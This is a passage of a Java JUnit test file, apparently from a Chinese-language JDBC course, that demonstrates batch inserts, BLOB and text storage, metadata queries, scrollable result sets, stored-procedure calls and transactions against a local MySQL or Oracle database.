VALUES(1,'t','1',1)\";\n\t\t\t\tstmt.executeUpdate(sql);\n\t\t\t}\n\t\t\tSystem.out.println(\"oracle Statement time\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n\t/**\n\t * 用Statement批量保存5000条记录 mysql statement batch time=3047\n\t */\n\t@Test\n\tpublic void testStatementBatch1() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tString sql = \"INSERT INTO b_user(id,NAME,PASSWORD,age) VALUES(1,'t','t',1)\";\n\t\t\t\tstmt.addBatch(sql);\n\t\t\t}\n\t\t\tstmt.executeBatch();\n\t\t\tSystem.out.println(\"mysql statement batch time=\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 用PreparedStatement批量保存5000条记录 mysql preparedstatement batch time=3094\n\t */\n\t@Test\n\tpublic void testPreparedStatementBatch1() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"INSERT INTO b_user(id,NAME,PASSWORD,age) VALUES(?,?,?,?)\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tpstmt.setInt(1, 1);\n\t\t\t\tpstmt.setString(2, \"t\");\n\t\t\t\tpstmt.setString(3, \"t\");\n\t\t\t\tpstmt.setInt(4, 1);\n\t\t\t\tpstmt.addBatch();\n\t\t\t}\n\t\t\tpstmt.executeBatch();\n\t\t\tSystem.out.println(\"mysql preparedstatement batch time=\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * mysql Statement time2984\n\t */\n\t@Test\n\tpublic void testStatement1() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tString sql = \"INSERT INTO b_user(id,NAME,PASSWORD,age) VALUES(1,'t','t',1)\";\n\t\t\t\tstmt.executeUpdate(sql);\n\t\t\t}\n\t\t\tSystem.out.println(\"mysql Statement time\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n\t/**\n\t * 保存带图片的数据\n\t */\n\t@Test\n\tpublic void saveImage() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"INSERT INTO bt_user (NAME,headimage) VALUES(?,?)\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tpstmt.setString(1, \"tom\");\n\t\t\tInputStream inputStream = new FileInputStream(\"D:\\\\work\\\\Workspaces\\\\day14_jdbc\\\\src\\\\cn\\\\itcast\\\\mysql\\\\bt\\\\mm.jpg\");\n\t\t\tpstmt.setBinaryStream(2, inputStream, inputStream.available());\n\t\t\t// mysql实现了所有方法，但有些方法执行无法通过，没有真正的实现\n\t\t\tpstmt.executeUpdate();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * 读取数据库带图片的一条记录\n\t */\n\t@Test\n\tpublic void getImage() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tString sql = \"select * from bt_user where id=1\";\n\t\t\trs = stmt.executeQuery(sql);\n\t\t\tif (rs.next()) {\n\t\t\t\tBlob blob = rs.getBlob(\"headimage\");\n\t\t\t\tInputStream is = blob.getBinaryStream();\n\t\t\t\tString path = \"D:\\\\work\\\\Workspaces\\\\day14_jdbc\\\\src\\\\cn\\\\itcast\\\\mysql\\\\bt\\\\mm2.jpg\";\n\t\t\t\tOutputStream os = new FileOutputStream(path);\n\t\t\t\tbyte[] buffer = new byte[1024];\n\t\t\t\tint len = -1;\n\t\t\t\twhile ((len = is.read(buffer)) != -1) {\n\t\t\t\t\tos.write(buffer, 0, len);\n\t\t\t\t}\n\t\t\t\t// os.flush();\n\t\t\t\tos.close();// close中有flush\n\t\t\t\tis.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 保存带文本的数据\n\t */\n\t@Test\n\tpublic void saveText() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"INSERT INTO bt_user (NAME,resume) VALUES(?,?)\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tpstmt.setString(1, \"tom2\");\n\t\t\tString path = \"D:\\\\work\\\\Workspaces\\\\day14_jdbc\\\\src\\\\cn\\\\itcast\\\\mysql\\\\bt\\\\工作.txt\";\n\t\t\tInputStream is = new FileInputStream(path);\n\t\t\tReader reader = new InputStreamReader(is, \"utf-8\");\n\t\t\tpstmt.setCharacterStream(2, reader, is.available());// 只有字节点才能得到流数据中的字节数\n\t\t\tpstmt.executeUpdate();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * 读取数据库带文本的一条记录\n\t */\n\t@Test\n\tpublic void getText() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tString sql = \"select * from bt_user where id=2\";\n\t\t\trs = stmt.executeQuery(sql);\n\t\t\tif (rs.next()) {\n\t\t\t\tReader reader = rs.getCharacterStream(\"resume\");\n\t\t\t\tString path = \"D:\\\\work\\\\Workspaces\\\\day14_jdbc\\\\src\\\\cn\\\\itcast\\\\mysql\\\\bt\\\\工作2.txt\";\n\t\t\t\tBufferedReader br = new BufferedReader(reader);\n\t\t\t\tOutputStream os = new FileOutputStream(path);\n\t\t\t\tWriter writer = new OutputStreamWriter(os, \"utf-8\");\n\t\t\t\tString s = null;\n\t\t\t\twhile ((s = br.readLine()) != null) {\n\t\t\t\t\twriter.write(s);\n\t\t\t\t\twriter.write(\"\\n\");\n\t\t\t\t}\n\t\t\t\twriter.close();\n\t\t\t\tos.close();\n\t\t\t\tbr.close();\n\t\t\t\treader.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 编写测试方法 加入junit测试包\n\t * \n\t * @Test 定义方法 public void methodName() outline中 run as Junit\n\t */\n\t@Test\n\tpublic void testgetConnection() {\n\t\ttry {\n\t\t\t// 创建mysql的Driver对象\n\t\t\tDriver driver = new com.mysql.jdbc.Driver();\n\t\t\t// jdbc url 定位到一个数据库\n\t\t\tString url = \"jdbc:mysql://localhost:3306/dbjdbc\"; // 定位到一个数据库\n\t\t\t// 用于存储用户名和密码的对象（Map）\n\t\t\tProperties info = new Properties();\n\t\t\tinfo.put(\"user\", \"root\"); // key固定\n\t\t\tinfo.put(\"password\", \"root\");\n\t\t\t// 通过Driver对象得到连接对象\n\t\t\tConnection connection = driver.connect(url, info);\n\t\t\tSystem.out.println(connection);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * DriverManager.registerDriver(driver)\n\t */\n\t@Test\n\tpublic void testGetConnection2() {\n\n\t\ttry {\n\t\t\t// 使用DriverManager注册驱动对象\n\t\t\tDriverManager.registerDriver(new com.mysql.jdbc.Driver());\n\t\t\tString url = \"jdbc:mysql://localhost:3306/dbjdbc\";\n\t\t\tString user = \"root\";\n\t\t\tString password = \"root\";\n\t\t\t// 使用DriverManager得到连接对象\n\t\t\tConnection connection = DriverManager.getConnection(url, user, password);\n\t\t\tSystem.out.println(connection);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * 采用class.forName的方式\n\t */\n\t@Test\n\tpublic void testGetConnection() {\n\n\t\t/*\n\t\t * static { try { java.sql.DriverManager.registerDriver(new Driver()); }\n\t\t * catch (SQLException E) { throw new RuntimeException(\n\t\t * \"Can't register driver!\"); } }\n\t\t */\n\t\ttry {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\ttry {\n\t\t\tString url = \"jdbc:mysql://localhost:3306/dbjdbc\";\n\t\t\tString user = \"root\";\n\t\t\tString password = \"root\";\n\t\t\t// 使用DriverManager得到连接对象\n\t\t\tConnection connection = DriverManager.getConnection(url, user, password);\n\t\t\tSystem.out.println(connection);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testDatabaseMetaData() {\n\t\tConnection conn = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tDatabaseMetaData metaData = conn.getMetaData();\n\t\t\tString url = metaData.getURL();\n\t\t\tString productName = metaData.getDatabaseProductName();\n\t\t\tString productVersion = metaData.getDatabaseProductVersion();\n\t\t\tString driverName = metaData.getDriverName();\n\t\t\tString driverVersion = metaData.getDriverVersion();\n\t\t\tSystem.out.println(\"url=\" + url + \" productName=\" + productName + \" productVersion=\" + productVersion);\n\t\t\tSystem.out.println(\"driverName=\" + driverName + \" driverVersion=\" + driverVersion);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testResultSetMetaData() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\trs = stmt.executeQuery(\"select id,name,password from m_user\");\n\t\t\t/*\n\t\t\t * while (rs.next()) { System.out.println(\"id=\" + rs.getInt(1) +\n\t\t\t * \" name=\" + rs.getString(\"name\") + \" password=\" +\n\t\t\t * rs.getString(\"password\")); }\n\t\t\t */\n\t\t\tResultSetMetaData metaData = rs.getMetaData();\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tfor (int i = 0; i < metaData.getColumnCount(); i++) {\n\t\t\t\t\tString columnName = metaData.getColumnName(i + 1);\n\t\t\t\t\tObject value = rs.getObject(columnName);\n\t\t\t\t\tSystem.out.print(\" \" + columnName + \"=\" + value);\n\t\t\t\t}\n\t\t\t\tSystem.out.println();\n\t\t\t}\n\n\t\t\tSystem.out.println(\"rs中的字段数\" + metaData.getColumnCount());\n\t\t\tString columnName = metaData.getColumnName(2);\n\t\t\tSystem.out.println(\"第２个字段名称为\" + columnName);\n\n\t\t\tString columnType = metaData.getColumnClassName(1);\n\t\t\tSystem.out.println(\"第3个字段ClassName为\" + columnType);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n\t@Test\n\tpublic void testSaveUpdateDelete() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\t// 准备数据\n\t\tString name = \"tt\";\n\t\tString password = \"123\";\n\t\tint age = 12;\n\t\tconn = JdbcUtil.getConnection();\n\t\t// sql语句中不定值用?代替\n\t\tString sql = \"INSERT INTO p_user(NAME,PASSWORD,age) VALUES(?,?,?)\";\n\t\t// 更新\n\t\tsql = \"UPDATE p_user SET NAME=?,PASSWORD=?,age=? WHERE id=?\";\n\t\t// 删除\n\t\tsql = \"DELETE FROM p_user WHERE id=?\";\n\t\ttry {\n\t\t\t// 调用prepareStatement(sql)得到PreparedStatement的实现类对象\n\t\t\t// 预编译\n\t\t\tpstmt = conn.prepareStatement(sql);\n\n\t\t\t/*\n\t\t\t * pstmt.setString(1, name); pstmt.setString(2, password);\n\t\t\t * pstmt.setInt(3, age);\n\t\t\t */\n\n\t\t\t/*\n\t\t\t * pstmt.setString(1, name+\"2\"); pstmt.setString(2, password+\"2\");\n\t\t\t * pstmt.setInt(3, age+2); pstmt.setInt(4, 1);\n\t\t\t */\n\n\t\t\t// 在执行sql之前必须把数据设置进去\n\t\t\tpstmt.setInt(1, 1);\n\n\t\t\tint result = pstmt.executeUpdate();\n\t\t\tSystem.out.println(\"udpate result=\" + result);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testDQL1() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tResultSet rs = null;\n\n\t\ttry {\n\t\t\tconn = JdbcUtil.getConnection();\n\t\t\tString sql = \"select * from p_user where id=?\";\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tpstmt.setInt(1, 2);\n\t\t\trs = pstmt.executeQuery();\n\t\t\twhile (rs.next()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testScroll1() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\tstmt = conn.createStatement(ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);\n\t\t\tString sql = \"select * from rs_user\";\n\t\t\trs = stmt.executeQuery(sql);\n\n\t\t\tif (rs.next()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\n\t\t\tif (rs.next()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\n\t\t\tif (rs.previous()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n\t@Test\n\tpublic void testResultSetMethod() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\t// stmt = conn.createStatement(ResultSet.TYPE_FORWARD_ONLY,\n\t\t\t// ResultSet.CONCUR_READ_ONLY);\n\t\t\tstmt = conn.createStatement(ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);\n\t\t\tString sql = \"select * from rs_user\";\n\t\t\trs = stmt.executeQuery(sql);\n\n\t\t\trs.next();\n\t\t\tSystem.out.println(\"next=\" + rs.getString(\"id\"));\n\n\t\t\trs.next();\n\t\t\tSystem.out.println(\"next=\" + rs.getString(\"id\"));\n\n\t\t\trs.previous();\n\t\t\tSystem.out.println(\"previous=\" + rs.getString(\"id\"));\n\n\t\t\trs.first();\n\t\t\tSystem.out.println(\"first=\" + rs.getString(\"id\"));\n\n\t\t\trs.last();\n\t\t\tSystem.out.println(\"last=\" + rs.getString(\"id\"));\n\n\t\t\t// 第几条数据\n\t\t\trs.absolute(2);\n\t\t\tSystem.out.println(\"absolute=\" + rs.getString(\"id\"));\n\t\t\t// 保光标移动多少位(正代表forword 负代表回滚)\n\t\t\trs.relative(2);\n\t\t\tSystem.out.println(\"relative=\" + rs.getString(\"id\"));\n\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n\t@Test\n\tpublic void testCreateTable() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\n\t\t/*\n\t\t * 1 注册驱动 在com.mysql.jdbc.Driver这个类里有静态代码块 static { try {\n\t\t * java.sql.DriverManager.registerDriver(new Driver()); } catch\n\t\t * (SQLException E) { throw new RuntimeException(\n\t\t * \"Can't register driver!\"); } }\n\t\t */\n\n\t\ttry {\n\t\t\t// 加载类字节码，使静态代码块被执行\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/*\n\t\t * 2 得到连接对象\n\t\t */\n\t\ttry {\n\t\t\t/*\n\t\t\t * jdbc url = \"jdbc:mysql://localhost:3306/dbjdbc\" 1 jdbc\n\t\t\t * 代表总协议是jdbc协议 不变 2 mysql 代表当前的实现协议是mysql,不同的数据库服务器不一样 3\n\t\t\t * localhost:3306/dbjdbc * localhost 主机/IP * 3306 代表数据库服务器监听的端口号 *\n\t\t\t * dbjdbc: 要连接到的数据库名称\n\t\t\t */\n\t\t\tString url = \"jdbc:mysql://localhost:3306/dbjdbc\";\n\t\t\t// 登陆数据库的用户名\n\t\t\tString user = \"root\";\n\t\t\t// 登陆数据库的密码\n\t\t\tString password = \"root\";\n\t\t\t// 通过DriverManager得到连接对象\n\t\t\tconn = DriverManager.getConnection(url, user, password);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/*\n\t\t * 3 得到能执行sql语句的Statement对象\n\t\t */\n\t\ttry {\n\t\t\t// 通过Connection对象得到能执行sql语句的Statement对象\n\t\t\tstmt = conn.createStatement();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\t/*\n\t\t * 4 执行sql语句\n\t\t */\n\t\tint result = -1;\n\t\ttry {\n\t\t\tString sql = \"CREATE TABLE s_user(id INT PRIMARY KEY AUTO_INCREMENT,NAME VARCHAR(20),PASSWORD VARCHAR(15))\";\n\t\t\t// 通过statement对象执行sql语句（DDL）\n\t\t\t// executeUpdate: 如果执行的DDL语句返回的结果为0\n\t\t\tresult = stmt.executeUpdate(sql);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/*\n\t\t * 5 处理返回的结果\n\t\t */\n\t\tSystem.out.println(\"create table result=\" + result);\n\t\t/*\n\t\t * 6 关闭资源 后开先关\n\t\t */\n\t\ttry {\n\t\t\tif (stmt != null) {// 关闭statement对象所占用的资源\n\t\t\t\tstmt.close();\n\t\t\t}\n\t\t\tif (conn != null) {// 关闭connection对象所占用的资源\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/**\n\t * 测试使用Statement执行DML操作\n\t */\n\t@Test\n\tpublic void testDML() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\n\t\t/*\n\t\t * 1 注册驱动 在com.mysql.jdbc.Driver这个类里有静态代码块 static { try {\n\t\t * java.sql.DriverManager.registerDriver(new Driver()); } catch\n\t\t * (SQLException E) { throw new RuntimeException(\n\t\t * \"Can't register driver!\"); } }\n\t\t */\n\n\t\ttry {\n\t\t\t// 加载类字节码，使静态代码块被执行\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/*\n\t\t * 2 得到连接对象\n\t\t */\n\t\ttry {\n\t\t\t/*\n\t\t\t * jdbc url = \"jdbc:mysql://localhost:3306/dbjdbc\" 1 jdbc\n\t\t\t * 代表总协议是jdbc协议 不变 2 mysql 代表当前的实现协议是mysql,不同的数据库服务器不一样 3\n\t\t\t * localhost:3306/dbjdbc * localhost 主机/IP * 3306 代表数据库服务器监听的端口号 *\n\t\t\t * dbjdbc: 要连接到的数据库名称\n\t\t\t */\n\t\t\tString url = \"jdbc:mysql://localhost:3306/dbjdbc\";\n\t\t\t// 登陆数据库的用户名\n\t\t\tString user = \"root\";\n\t\t\t// 登陆数据库的密码\n\t\t\tString password = \"root\";\n\t\t\t// 通过DriverManager得到连接对象\n\t\t\tconn = DriverManager.getConnection(url, user, password);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/*\n\t\t * 3 得到能执行sql语句的Statement对象\n\t\t */\n\t\ttry {\n\t\t\t// 通过Connection对象得到能执行sql语句的Statement对象\n\t\t\tstmt = conn.createStatement();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\t/*\n\t\t * 4 执行sql语句\n\t\t */\n\t\tint result = -1;\n\t\ttry {\n\t\t\t// String sql = \"CREATE TABLE s_user(id INT PRIMARY KEY\n\t\t\t// AUTO_INCREMENT,NAME VARCHAR(20),PASSWORD VARCHAR(15))\";\n\t\t\t// 插入数据\n\t\t\tString sql = \"INSERT INTO s_user(NAME,PASSWORD) VALUES('小强','9527');\";\n\t\t\t// 更新数据\n\t\t\tsql = \"UPDATE s_user SET NAME='黄宏强',password='250' WHERE NAME='大黄'\";\n\t\t\t// 删除数据\n\t\t\tsql = \"delete from s_user\";\n\t\t\t// 通过statement对象执行sql语句（DML）\n\t\t\t// executeUpdate: 如果执行的DML语句返回的结果为更新的记录数\n\t\t\tresult = stmt.executeUpdate(sql);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t/*\n\t\t * 5 处理返回的结果\n\t\t */\n\t\tSystem.out.println(\"create table result=\" + result);\n\t\t/*\n\t\t * 6 关闭资源 后开先关\n\t\t */\n\t\ttry {\n\t\t\tif (stmt != null) {// 关闭statement对象所占用的资源\n\t\t\t\tstmt.close();\n\t\t\t}\n\t\t\tif (conn != null) {// 关闭connection对象所占用的资源\n\t\t\t\tconn.close();\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t@Test\n\tpublic void proc21() throws Exception {\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc2(?,?)}\");\n\t\tcs.setString(1, \"UAAA\");\n\t\tcs.setString(2, \"王健\");\n\t\tboolean boo = cs.execute();\n\t\tSystem.err.println(boo);\n\t\tcon.close();\n\t}\n\n\t@Test\n\tpublic void proc31() throws Exception {\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc5(?,?,?)}\");\n\t\tcs.setString(1, \"UBDDB\");\n\t\tcs.setString(2, \"张三\");\n\t\tcs.registerOutParameter(3, Types.INTEGER);// --int,\n\t\tboolean boo = cs.execute();\n\t\tSystem.err.println(\">>:\" + boo);// true\n\t\t// 从call中获取返回的值\n\t\tint size = cs.getInt(3);\n\t\tSystem.err.println(\"行数:\" + size);\n\t\tif (boo) {\n\t\t\tResultSet rs = cs.getResultSet();\n\t\t\trs.next();\n\t\t\tint ss = rs.getInt(1);\n\t\t\tSystem.err.println(\"sss:\" + ss);\n\t\t}\n\t\tcon.close();\n\t}\n\n\t@Test\n\tpublic void proc61() throws Exception {\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc6(?,?,?,?)}\");\n\t\tcs.setString(1, \"UBafadsB\");\n\t\tcs.setString(2, \"张三\");\n\t\tcs.registerOutParameter(3, Types.INTEGER);// --int,\n\t\tcs.registerOutParameter(4, Types.INTEGER);\n\t\tboolean boo = cs.execute();\n\t\tSystem.err.println(\">>:\" + boo);// faluse\n\t\t// 从call中获取返回的值\n\t\tint size = cs.getInt(3);\n\t\tint _s = cs.getInt(4);\n\t\tSystem.err.println(\"行数:\" + size + \",\" + _s);\n\t\tcon.close();\n\t}\n\n\t@Test\n\tpublic void proc11() throws Exception {\n\t\t// JdbcUtil不提供调用存储过程的能力\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc1()}\");\n\t\t// 执行\n\n\t}\n\n\t// 调用函数\n\t@Test\n\tpublic void executeOracleFunction() throws SQLException {\n\t\tjava.sql.Connection conn = DataSourceUtil.getConn();\n\t\tjava.sql.CallableStatement cs = conn.prepareCall(\"{?=call sum_sal(?,?)}\");\n\t\tcs.registerOutParameter(1, Types.NUMERIC);\n\t\tcs.registerOutParameter(3, Types.NUMERIC);\n\t\tcs.setInt(2, 80);\n\t\tcs.execute();\n\t\tSystem.out.println(cs.getDouble(1));\n\t\tSystem.out.println(cs.getDouble(3));\n\t}\n\n\t@Test\n\tpublic void executeOracleProduce() throws SQLException {\n\t\tjava.sql.Connection conn = DataSourceUtil.getConn();\n\t\tjava.sql.CallableStatement cs = conn.prepareCall(\"{call add_sal_procedure(?,?)}\");\n\t\tcs.registerOutParameter(2, Types.NUMERIC);\n\t\tcs.setInt(1, 80);\n\t\tcs.execute();\n\t\tSystem.out.println(cs.getDouble(2));\n\t}\n\t\n\t\n\n\t@Test\n\tpublic void testDQL() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\ttry {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\n\t\t\tString url = \"jdbc:mysql://localhost:3306/dbjdbc\";\n\t\t\tString user = \"root\";\n\t\t\tString password = \"root\";\n\t\t\tconn = DriverManager.getConnection(url, user, password);\n\t\t\tstmt = conn.createStatement();\n\t\t\tString sql = \"SELECT id,NAME,PASSWORD FROM s_user\";\n\t\t\t// sql = \"SELECT id,NAME as username,PASSWORD FROM s_user\";\n\t\t\t// executeQuery得到包含所有匹配的数据对象 ResultSet实现类对象\n\t\t\t// 跟Iterator类似\n\t\t\trs = stmt.executeQuery(sql);\n\n\t\t\t// 使用ResultSet\n\t\t\t// next(): 移到光标到下一位，在移动之前确定其返回值，看右边有没有数据，有就返回true,没有就返回false\n\t\t\twhile (rs.next()) {\n\t\t\t\t// rs.getXXX()取光标左边的数据\n\t\t\t\t// XXX跟字段类型一定要一致\n\t\t\t\t// 通过下标取数据\n\t\t\t\t// columnIndex - 第一个列是 1，第二个列是 2，……\n\t\t\t\tint id = rs.getInt(1);\n\t\t\t\tString name = rs.getString(2);\n\t\t\t\tString pwd = rs.getString(3);\n\t\t\t\tSystem.out.println(\"id=\" + id + \" name=\" + name + \" pwd=\" + pwd);\n\n\t\t\t\t// 通过字段名取数据\n\t\t\t\t// 大小写是否影响？没有影响，数据库看到的都会是大写，如果小写会自动转\n\t\t\t\t// 如果使用了别名，必须用别名去取\n\t\t\t\tid = rs.getInt(\"Id\");\n\t\t\t\tname = rs.getString(\"name\");\n\t\t\t\t// name = rs.getString(\"username\");\n\t\t\t\tpwd = rs.getString(\"password\");\n\t\t\t\tSystem.out.println(\"--id=\" + id + \" name=\" + name + \" pwd=\" + pwd);\n\t\t\t}\n\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tif (rs != null) {\n\t\t\t\ttry {\n\t\t\t\t\trs.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (stmt != null) {\n\t\t\t\ttry {\n\t\t\t\t\tstmt.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (conn != null) {\n\t\t\t\ttry {\n\t\t\t\t\tconn.close();\n\t\t\t\t} catch (SQLException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t@Test\n\tpublic void testSaveMoney() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\n\t\t// 准备数据\n\t\tString accountId = \"123456789\";\n\t\tdouble money = 100;\n\n\t\ttry {\n\t\t\tconn = JdbcUtil.getConnection();\n\n\t\t\t/*****************************************************/\n\t\t\t// 设置事务为手动提交\n\t\t\tSystem.out.println(\"默认事务为\" + conn.getAutoCommit());// true代表自动提交,false手动提交\n\t\t\tconn.setAutoCommit(false);\n\t\t\tSystem.out.println(\"事务为\" + conn.getAutoCommit());\n\t\t\t/*****************************************************/\n\n\t\t\t// 向inaccount表中插入一条记录\n\t\t\t// sql: INSERT INTO inaccount(accountid,inbalance)\n\t\t\t// VALUES('123456789',100)\n\t\t\tString sql = \"INSERT INTO inaccount(accountid,inbalance) VALUES(?,?)\";\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tpstmt.setString(1, accountId);\n\t\t\tpstmt.setDouble(2, money);\n\t\t\tpstmt.executeUpdate();// 数据马上同步到数据库\n\n\t\t\t// 更新account表，将指定账号的余额加上100\n\t\t\t// UPDATE account SET balance=balance+100 WHERE\n\t\t\t// 